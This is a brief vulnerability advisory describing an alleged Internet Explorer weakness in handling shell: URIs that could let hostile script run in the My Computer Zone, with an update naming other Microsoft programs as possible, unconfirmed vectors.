It has been alleged that Microsoft Internet Explorer is prone to a weakness that may potentially allow for the execution of hostile script code in the context of the My Computer Zone. This issue is related to how shell: URIs are handled by the browser. It should also be noted that shell: URIs may be used to reference local content in the same manner as file:// URIs.
 
Update: Although unconfirmed, further reports indicate that MSN messenger version 6.2.0137, Microsoft Word, Outlook 2003, and Outlook Express may also potentially provide exploitation vectors for this vulnerability.
